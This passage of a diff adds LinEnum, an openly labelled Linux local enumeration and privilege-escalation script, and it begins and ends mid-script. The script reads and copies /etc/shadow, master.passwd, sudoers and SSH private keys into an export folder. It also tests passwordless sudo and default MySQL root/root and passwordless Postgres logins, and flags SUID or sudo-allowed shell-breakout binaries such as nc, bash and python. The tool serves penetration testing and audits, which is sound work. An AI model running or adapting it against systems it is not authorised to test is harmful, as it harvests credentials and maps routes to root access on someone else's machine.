"h:k:r:e:t" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null + +echo "Debug Info" |tee -a $report 2>/dev/null + +if [ "$keyword" ]; then + echo "keyword = $keyword" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$report" ]; then + echo "report name = $report" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ]; then + echo "export location = $export" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$thorough" ]; then + echo "thorough tests = enabled" |tee -a $report 2>/dev/null +else + echo "thorough tests = disabled" |tee -a $report 2>/dev/null +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y_%H:%M"` + mkdir $format 2>/dev/null +else + : +fi + +who=`whoami` |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null +echo -e "\e[00m\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#last logged on user information +lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#strips out username uid and gid values from /etc/passwd +usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null` +if [ "$usrsinfo" ]; then + echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#locate custom user accounts with some 'known default' uids +readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` +if [ "$readpasswd" ]; then + echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +else + : +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +else + : +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +else + : +fi + +#all root accounts (uid 0) +echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#pull out vital sudoers info +sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"` +if [ "$sudoers" ]; then + echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +else + : +fi + +#can we sudo without supplying a password +sudoperms=`echo '' | sudo -S -l 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#known 'good' breakout binaries +sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + else + : + fi + else + : +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls` + if [ "$sshfiles" ]; then + echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#current umask value with both octal and symbolic output +umask=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umask" ]; then + echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#umask value as in /etc/login.defs +umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#password policy information as stored in /etc/login.defs +logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null + +#are there any cron jobs configured +cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#contab contents +crontab=`cat /etc/crontab 2>/dev/null` +if [ "$crontab" ]; then + echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#dns settings +nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` +if [ "$nsinfo" ]; then + echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening TCP +tcpservs=`netstat -antp 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening UDP +udpservs=`netstat -anup 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lookup process binary path and permissisons +procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` +if [ "$procperm" ]; then + echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +else + : +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +else + : +fi + +xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#what account is apache running under +apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'` +if [ "$apacheusr" ]; then + echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null + +#checks to see if various files are installed +echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) +if [ "$thorough" = "1" ]; then +findsuid=`find / -perm -4000 -type f -exec stat -c '%A %n' {} + 2>/dev/null` + if [ "$findsuid" ]; then + echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' suid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null + if [ "$intsuid" ]; then + echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists word-writable suid files +if [ "$thorough" = "1" ]; then +wwsuid=`find / -perm -4007 -type f 2>/dev/null` + if [ "$wwsuid" ]; then + echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable suid files owned by root +if [ "$thorough" = "1" ]; then +wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null` + if [ "$wwsuidrt" ]; then + echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) +if [ "$thorough" = "1" ]; then +findguid=`find / -perm -2000 -type f 2>/dev/null` + if [ "$findguid" ]; then + echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findguid" ]; then + mkdir $format/guid-files/ 2>/dev/null + for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' guid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` + if [ "$intguid" ]; then + echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files +if [ "$thorough" = "1" ]; then +wwguid=`find / -perm -2007 -type f 2>/dev/null` + if [ "$wwguid" ]; then + echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files owned by root +if [ "$thorough" = "1" ]; then +wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null` + if [ 